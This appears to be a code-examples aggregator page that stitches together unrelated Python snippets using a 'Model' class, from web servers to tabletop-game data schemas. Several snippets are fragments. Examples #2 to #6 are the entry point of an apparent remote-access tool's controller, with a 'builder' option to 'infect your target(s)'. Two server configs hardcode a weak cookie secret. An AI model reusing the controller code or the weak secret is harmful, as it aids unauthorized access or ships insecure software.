def run(self):
        # initialize log
        log.init(
            self._ns.verbose, self._ns.quiet,
            filename="server.log", colored=False)

        # create model, that hold services for database collection
        # and memory, a wrapper object over the manipulation of the shared
        # persistent memory between queries
        model = Model()

        # define server settings and server routes
        server_settings = {
            "cookie_secret": "101010",  # todo: generate a more secure token
            "template_path": "http/templates/",
            # allow to recompile templates on each request, enable autoreload
            # and some other useful features on debug. See:
            # http://www.tornadoweb.org/en/stable/guide/running.html#debug-mode
            "debug": Conf['state'] == 'DEBUG'
        }
        # /assets/... will send the corresponding static asset
        # /[whatever] will display the corresponding template
        # other routes will display 404
        server_routes = [
            (r"/websocket", WSHandler),
            (r"/assets/([a-zA-Z0-9_\/\.-]+)/?", AssetsHandler),
            (r"/([a-zA-Z0-9_/\.=-]*)/?", TemplatesHandler),
            (r"/(.+)/?", DefaultHandler)
        ]

        # start the server.
        logging.info("Server Starts - %s state - %s:%s"
                     % (Conf['state'], Conf['server']['ip'],
                        Conf['server']['port']))
        logging.debug("Debugging message enabled.")
        application = Application(server_routes, **server_settings)
        application.listen(Conf['server']['port'])
        logging.info(
            "Connected to database: %s"
            % Conf['database']['name'])

        # start listening
        try:
            tornado.ioloop.IOLoop.instance().start()
        except KeyboardInterrupt:
            logging.info("Stopping server...")

        model.disconnect()
Exemple #2
0
def main():
    setup()

    try:
        print(BANNER)
    except UnicodeEncodeError:
        # Thrown on my Raspberry PI (via SSH).
        print(MESSAGE_ATTENTION + "Failed to print fancy banner, skipping...")

    while True:
        try:
            server_port = int(
                input(MESSAGE_INPUT + "Server port to listen on: "))
            break
        except ValueError:
            continue

    model = Model()
    view = View()
    Controller(view, model, server_port)

    # Start the view, blocks until exit.
    view.start()

    print(MESSAGE_INFO +
          "Feel free to submit any issues or feature requests on GitHub.")
    print(MESSAGE_INFO + "Goodbye!")
Exemple #3
0
def main():
    parser = ArgumentParser()
    parser.add_argument("-p",
                        "--port",
                        help="server port to listen on",
                        type=int)
    parser.add_argument("--cli",
                        help="show the command line interface",
                        action="store_true")
    parser.add_argument("--builder",
                        help="build a launcher to infect your target(s)",
                        action="store_true")
    parser.add_argument(
        "--no-banner",
        help="prevents the EvilOSX banner from being displayed",
        action="store_true")

    arguments = parser.parse_args()

    if not arguments.no_banner:
        try:
            print(BANNER)
        except UnicodeEncodeError:
            # Thrown on my Raspberry PI (via SSH).
            print(MESSAGE_ATTENTION +
                  "Failed to print fancy banner, skipping...")

    if arguments.builder:
        # Run the builder then exit.
        builder()
        exit(0)

    if arguments.port:
        server_port = arguments.port
    else:
        while True:
            try:
                server_port = int(
                    input(MESSAGE_INPUT + "Server port to listen on: "))
                break
            except ValueError:
                print(MESSAGE_ATTENTION + "Invalid port.")
                continue

    model = Model()
    view = ViewCLI(model, server_port) if arguments.cli else ViewGUI(
        model, server_port)

    # Start handling bot requests
    start_server(model, view, server_port)

    # Start the view, blocks until exit.
    view.start()

    print(MESSAGE_INFO +
          "Feel free to submit any issues or feature requests on GitHub.")
    print(MESSAGE_INFO + "Goodbye!")
Exemple #4
0
def main():
    setup()

    try:
        print(BANNER)
    except UnicodeEncodeError:
        # Thrown on my Raspberry PI (via SSH).
        print(MESSAGE_ATTENTION + "Failed to print fancy banner, skipping...")

    parser = ArgumentParser()
    parser.add_argument("-p",
                        "--port",
                        help="server port to listen on",
                        type=int)
    parser.add_argument("--cli",
                        help="show the command line interface",
                        action="store_true")
    arguments = parser.parse_args()

    if arguments.port:
        server_port = arguments.port
    else:
        while True:
            try:
                server_port = int(
                    input(MESSAGE_INPUT + "Server port to listen on: "))
                break
            except ValueError:
                continue

    model = Model()
    view = ViewCLI(model, server_port) if arguments.cli else ViewGUI(
        model, server_port)

    # Start handling bot requests
    start_server(model, view, server_port)

    # Start the view, blocks until exit.
    view.start()

    print(MESSAGE_INFO +
          "Feel free to submit any issues or feature requests on GitHub.")
    print(MESSAGE_INFO + "Goodbye!")
Exemple #5
0
def main():
    print(BANNER)
    setup()

    while True:
        try:
            server_port = int(input(MESSAGE_INPUT + "Server port to listen on: "))
            break
        except ValueError:
            continue

    model = Model()
    view = View()
    Controller(view, model, server_port)

    # Start the view, blocks until exit.
    view.start()

    print(MESSAGE_INFO + "Feel free to submit any issues or feature requests on GitHub.")
    print(MESSAGE_INFO + "Goodbye!")
Exemple #6
0
def main():
    setup()

    try:
        print(BANNER)
    except UnicodeEncodeError:
        # Thrown on my Raspberry PI (via SSH).
        print(MESSAGE_ATTENTION + "Failed to print fancy banner, skipping...")

    parser = ArgumentParser()
    parser.add_argument("-p",
                        "--port",
                        help="server port to listen on",
                        type=int)
    arguments = parser.parse_args()

    if arguments.port:
        server_port = arguments.port
    else:
        while True:
            try:
                server_port = int(
                    input(MESSAGE_INPUT + "Server port to listen on: "))
                break
            except ValueError:
                continue

    model = Model()
    view = ViewCLI()
    controller = Controller(view, model, server_port)

    # Start the controller, blocks until exit.
    controller.start()

    print(MESSAGE_INFO +
          "Feel free to submit any issues or feature requests on GitHub.")
    print(MESSAGE_INFO + "Goodbye!")
    def run(self):
        # initialize log
        log.init(self._ns.verbose,
                 self._ns.quiet,
                 filename="server.log",
                 colored=False)

        # create model, that hold services for database collection
        # and memory, a wrapper object over the manipulation of the shared
        # persistent memory between queries
        model = Model()

        # define server settings and server routes
        server_settings = {
            "cookie_secret": "101010",  # todo: generate a more secure token
            "template_path": Conf['server']['templatePath'],
            # allow to recompile templates on each request, enable autoreload
            # and some other useful features on debug. See:
            # http://www.tornadoweb.org/en/stable/guide/running.html#debug-mode
            # http://www.tornadoweb.org/en/stable/guide/running.html#debug-mode
            "debug": Conf['state'] == 'DEBUG',
            "log_function": disable_downloader_logs
        }
        server_routes = [
            (r"/action/db/update/?", DbUpdateHandler),
            (r"/action/db/display/?", DbUpdateHandler),
            (r"/action/server/([a-zA-Z0-9_.-]+)/?", ServerActionHandler,
             dict(onKill=self._onKill)),
            (r"/api/video/([a-zA-Z0-9_./-]+)/?", VidsHandler),
            (r"/api/album/([a-zA-Z0-9_.-]+)/?", AlbumsHandler),
            (r"/api/tag/([a-zA-Z0-9_.-]+)/?", TagsHandler),
            (r"/api/notify/([a-zA-Z0-9_.-]+)/?", NotificationHandler),
            (r"/api/home/([a-zA-Z0-9_.-]+)/?", HomeHandler),
            (r"/subscribe/db/update/?", DbUpdateSocketHandler),
            (r"/subscribe/video/analyze/?", AnalyzeSocketHandler),
            (r"/subscribe/video/compile/?", CompileSocketHandler),
            (r'/download/video/([a-zA-Z0-9]+)/?', DownloadsHandler,
             dict(resType='video')),
            (r'/download/snapshot/(.+)/(.+)/?', DownloadsHandler,
             dict(resType='snapshot')),
            (r'/download/minivid/(.+)/(.+)/?', DownloadsHandler,
             dict(resType='minivid')),
            (r'/download/album/(.+)/(.+)/?', DownloadsHandler,
             dict(resType='album')),
            (r"/assets/([a-zA-Z0-9_\/\.-]+)/?", AssetsHandler),
            (r"/([a-zA-Z0-9_/\.=-]*)/?", TemplatesHandler),
            (r"/(.+)/?", DefaultHandler)
        ]

        # start the server.
        logging.info("Server Starts - %s state - %s:%s" %
                     (Conf['state'], 'localhost', Conf['server']['port']))
        logging.debug("Debugging message enabled.")
        application = Application(server_routes, **server_settings)
        application.listen(Conf['server']['port'])
        logging.info("Connected to database: %s" %
                     Conf['data']['mongoDB']['dbName'])

        # cleanup minified assets
        minifiedCleanUp()

        if self._onReady is not None:
            self._onReady()
        # start listening
        try:
            tornado.ioloop.IOLoop.instance().start()
        except KeyboardInterrupt:
            logging.info("Stopping server...")

        model.disconnect()
from flask import Flask
from pymongo import MongoClient
from prettytable import PrettyTable
from urllib.parse import urlsplit

from bson import ObjectId
from server.model import Model

app = Flask(__name__)
app.config.from_pyfile('server/config.py')

parsed = urlsplit(app.config['MONGODB_URI'])
mongo_client = MongoClient(app.config['MONGODB_URI'])
db = mongo_client[parsed.path[1:]]

model = Model(db=db)


def create_user(data):
    # Validate data
    if "password" not in data or not data["password"]:
        print("password must be set for user addition")
        sys.exit(3)

    if "email" not in data or not data["email"]:
        print("email must be set for user addition")
        sys.exit(3)

    data["name"] = data["name"] if "name" in data else data["email"].lower()
    data["admin"] = data["admin"] if "admin" in data else False
    data["active"] = data["active"] if "active" in data else True
Exemple #9
0
attachments = Endpoint("attachments", "Attachments", Model([
    ObjectIdField("_id", "ID", readonly=True),
    Field("name", "Name", table=False),
    SelectField("category", "Category", ["Armor", "Lightsaber", "Weapon"], table=False),
    NumberField("price", "Price", max=100000),
    CheckboxField("restricted", "Restricted"),
    NumberField("encumbrance", "Encumbrance"),
    NumberField("hardpoints", "HP Required"),
    NumberField("rarity", "Rarity", max=10),
    ArrayField(Field("models", "Model")),
    Field("modifiers", "Base Modifier"),
    ArrayField(
        FieldGroup("modification", "Modification", [
            NumberField("max", "Max", min=1),
            SelectField("type", "Type", [
                {"display": "Damage", "value": "damage"},
                {"display": "Weapon Quality", "value": "weapon_quality"},
                {"display": "Innate Talent", "value": "talent"},
                {"display": "Skill", "value": "skill"},
                {"display": "Characteristic", "value": "characteristic"},
                {"display": "Additional", "value": "other"},
            ]),
            Field("value", "Value"),
            Field("quality", "Weapon Quality", required=False),
            Field("talent", "Talent", required=False),
            Field("skill", "Skill", required=False),
            Field("characteristic", "Characteristic", required=False),
        ]), table=False),
    TextareaField("description", "Description"),
    ArrayField(Field("index", "Index"), table=False)
]))
Exemple #10
0
import dash_html_components as html
from dash.dependencies import Input, Output, State, ALL
from dash.exceptions import PreventUpdate
import plotly.express as px

from server.model import Model
from settings.config import TITLE, ASSETS_FOLDER, MODEL_NAMES, TECHNOLOGIES, OBJECTIVES

app = dash.Dash(
    title=TITLE,
    assets_folder=ASSETS_FOLDER,
    external_stylesheets=[dbc.themes.FLATLY],
    suppress_callback_exceptions=True,
)

model = Model(
)  # Global variable: should be reimplemented for production server

# Navbar across the top of the page. Includes logo and dropdown to select model
navbar = dbc.Navbar(
    color="primary",
    dark=True,
    children=[
        dbc.Col(
            dbc.NavbarBrand(
                html.Img(src=app.get_asset_url("muse-logo.png"),
                         height="30px"),
                href="/",
            )),
        dbc.Col(
            dcc.Dropdown(
                id="model-dropdown",
    res = {"mean_text": max_label, "mean": mean, "details": details}

    # number_tweets
    return res
    '''
     {
        "mean_text":
        "Negativo",
        "mean":
        -1,
        "details": [{
            "text": "Gmi2 puto",
            "accuracy": 52.1,
            "result": "negativo",
        }, {
            "text": "Andrecito cagon",
            "accuracy": 82.1,
            "result": "negativo"
        }, {
            "text": "Miguleito xd",
            "accuracy": 92.1,
            "result": "neutro"
        }]
    }
    '''


if __name__ == "__main__":
    model = Model()
    app.run(host='localhost')
Exemple #12
0
from server import filters

from server.endpoint import Endpoint
from server.model import Model, Field, SelectField, TextareaField, CheckboxField, ArrayField

qualities_endpoint = Endpoint("qualities",
                              "Qualities",
                              Model([
                                  Field("_id", "Name", table=False),
                                  SelectField("active", "Active",
                                              ["Active", "Passive"]),
                                  TextareaField("description",
                                                "Description",
                                                render=filters.description),
                                  CheckboxField("ranked",
                                                "Ranked",
                                                render=filters.format_yes_no),
                                  ArrayField(Field("index", "Index"),
                                             table=False),
                              ]),
                              objectid=False)
Exemple #13
0
 Model([
     ObjectIdField("_id", "ID"),
     Field("name", "Name", table=False),
     SelectField("category",
                 "Category",
                 options=[
                     "Brawl", "Energy", "Explosives", "Grenades",
                     "Lightsaber Hilts", "Melee", "Micro-Rockets", "Other",
                     "Portable Missiles", "Slugthrowers", "Thrown"
                 ],
                 table=False),
     SelectField("skill",
                 "Skill",
                 options=[
                     {
                         "display": "Brawl",
                         "value": "brawl"
                     },
                     {
                         "display": "Melee",
                         "value": "melee"
                     },
                     {
                         "display": "Lightsaber",
                         "value": "lightsaber"
                     },
                     {
                         "display": "Ranged (Light)",
                         "value": "ranged_light"
                     },
                     {
                         "display": "Ranged (Heavy)",
                         "value": "ranged_heavy"
                     },
                     {
                         "display": "Gunnery",
                         "value": "gunnery"
                     },
                 ],
                 render=filters.format_skill),
     Field("damage", "Damage", default=0),
     Field("critical", "Critical", default="-"),
     SelectField("range",
                 "Range",
                 options=["Engaged", "Short", "Medium", "Long", "Extreme"]),
     NumberField("encumbrance", "Encumbrance"),
     NumberField("hardpoints", "Hardpoints"),
     NumberField("price", "Price", max=100000),
     CheckboxField("restricted", "Restricted"),
     NumberField("rarity", "Rarity", max=10),
     ArrayField(
         FieldGroup("qualities", "Special", [
             Field("id", "Quality ID"),
             NumberField("value", "Rating"),
         ], filters.format_quality_object)),
     TextareaField("short", "Short Description", table=False),
     TextareaField("description", "Long Description", table=False),
     ArrayField(Field("index", "Index"), table=False),
 ]))
Exemple #14
0
from server.endpoint import Endpoint
from server.model import Model, Field, CheckboxField, FieldGroup, NumberField

from pymongo import ASCENDING


species_endpoint = Endpoint("species", "Species", Model([
    Field("_id", "Name", table=False),
    CheckboxField("player", "Player"),
    FieldGroup("characteristics", "Characteristics", [
        NumberField("brawn", "Brawn", 1, 5, default=1),
        NumberField("agility", "Agility", 1, 5, default=1),
        NumberField("intellect", "Intellect", 1, 5, default=1),
        NumberField("cunning", "Cunning", 1, 5, default=1),
        NumberField("willpower", "Willpower", 1, 5, default=1),
        NumberField("presence", "Presence", 1, 5, default=1),
    ]),
    NumberField("wound", "Wound Threshold"),
    NumberField("strain", "Strain Threshold"),
    NumberField("xp", "Starting XP", required=False)
]))
species_endpoint.table_sort = {"key": "_id", "dir": ASCENDING}
Exemple #15
0
def model():
    from server.model import Model

    return Model()
Exemple #16
0
 Model([
     ObjectIdField("_id", "ID", readonly=True),
     Field("name", "Name", table=False),
     SelectField("level", "Type", ["Minion", "Rival", "Nemesis"]),
     FieldGroup("characteristics", "Characteristics", [
         NumberField("brawn", "Brawn", 1, 5, default=1),
         NumberField("agility", "Agility", 1, 5, default=1),
         NumberField("intellect", "Intellect", 1, 5, default=1),
         NumberField("cunning", "Cunning", 1, 5, default=1),
         NumberField("willpower", "Willpower", 1, 5, default=1),
         NumberField("presence", "Presence", 1, 5, default=1),
     ]),
     NumberField("soak", "Soak", table=False),
     NumberField("wound", "Wound Threshold", table=False),
     NumberField("strain", "Strain Threshold", table=False),
     ArrayField(
         FieldGroup("skills",
                    "Skills",
                    [Field("id", "Skill"),
                     NumberField("value", "Value")],
                    render_method=filters.format_skill)),
     ArrayField(Field("talents", "Talents", render=filters.format_talent)),
     ArrayField(
         Field("abilities", "Abilities", render=filters.format_ability)),
     ArrayField(
         FieldGroup(
             "equipment",
             "Weapons", [
                 Field("name", "Name"),
                 Field("damage", "Damage"),
                 Field("critical", "Critical"),
                 SelectField(
                     "range", "Range",
                     ["Engaged", "Short", "Medium", "Long", "Extreme"]),
                 SelectField("skill", "Skill",
                             ["Brawl", "Ranged_Light", "Ranged_Heavy"]),
                 ArrayField(
                     FieldGroup("special", "Special", [
                         Field("id", "Quality ID"),
                         NumberField("value", "Value"),
                     ]))
             ],
             render_method=lambda x: x["name"])),
     ArrayField(Field("index", "Index"), table=False)
 ]))
Exemple #17
0
import re

from server.endpoint import Endpoint
from server.model import Model, Field, CheckboxField, TextareaField, SelectField, ArrayField, NumberField, ObjectIdField

gear_endpoint = Endpoint(
    "gear", "Items",
    Model([
        ObjectIdField("_id", "ID", readonly=True),
        Field("name", "Item", table=False),
        NumberField("price", "Price"),
        NumberField("encumbrance", "Encumbrance"),
        NumberField("rarity", "Rarity"),
        CheckboxField("restricted", "Restricted"),
        TextareaField("description", "Long Description", table=False),
        SelectField("category",
                    "Category",
                    options=[
                        "Adversary", "Ancient Talismans", "Communications",
                        "Consumables", "Cybernetics", "Detection Devices",
                        "Droids", "Drugs", "Field Equipment",
                        "Illegal Equipment", "Medical", "Poison",
                        "Recreational", "Scanning and Surveillance",
                        "Security", "Storage", "Survival", "Tools", "Uniforms"
                    ],
                    table=False),
        ArrayField(Field("index", "Index"), table=False)
    ]))
gear_endpoint.table_query = {"category": {"$not": re.compile("Adversary")}}
Exemple #18
0
 Model([
     Field("_id", "Talent", table=False),
     TextareaField("short", "Description", render=filters.description),
     TextareaField("description", "Long Description", table=False),
     SelectField("activation",
                 "Activation",
                 options=[
                     {
                         "display": "Passive",
                         "value": "passive"
                     },
                     {
                         "display": "Active",
                         "value": "active"
                     },
                     {
                         "display": "Active (Action)",
                         "value": "active_action"
                     },
                     {
                         "display": "Active (Incidental)",
                         "value": "active_incidental"
                     },
                     {
                         "display": "Active (Incidental, Out Of Turn)",
                         "value": "active_incidental_oot"
                     },
                     {
                         "display": "Active (Maneuver)",
                         "value": "active_maneuver"
                     },
                 ],
                 render=lambda x: activation(x)),
     CheckboxField("ranked", "Ranked"),
     CheckboxField("force", "Force Sensitive"),
     ArrayField(Field("index", "Index"), table=False)
 ]),
Exemple #19
0
from server.endpoint import Endpoint
from server.model import Model, Field, TextareaField, SelectField

book_endpoint = Endpoint("books", "Books", Model([
    Field("name", "Name", table=False),
    SelectField("system", "System", [
        "Edge of the Empire",
        "Age of Rebellion",
        "Force and Destiny",
        "Star Wars Roleplaying"
    ]),
    Field("key", "SKU"),
    Field("_id", "Initials"),  # todo should allow specifying custom order for table display
    Field("isbn", "ISBN", table=False),
    Field("ffg_url", "Product Page", html_type="url", table=False),
    Field("release_date", "Release Date", html_type="date", table=False),
    TextareaField("description", "Description", table=False)
], index=False), objectid=False)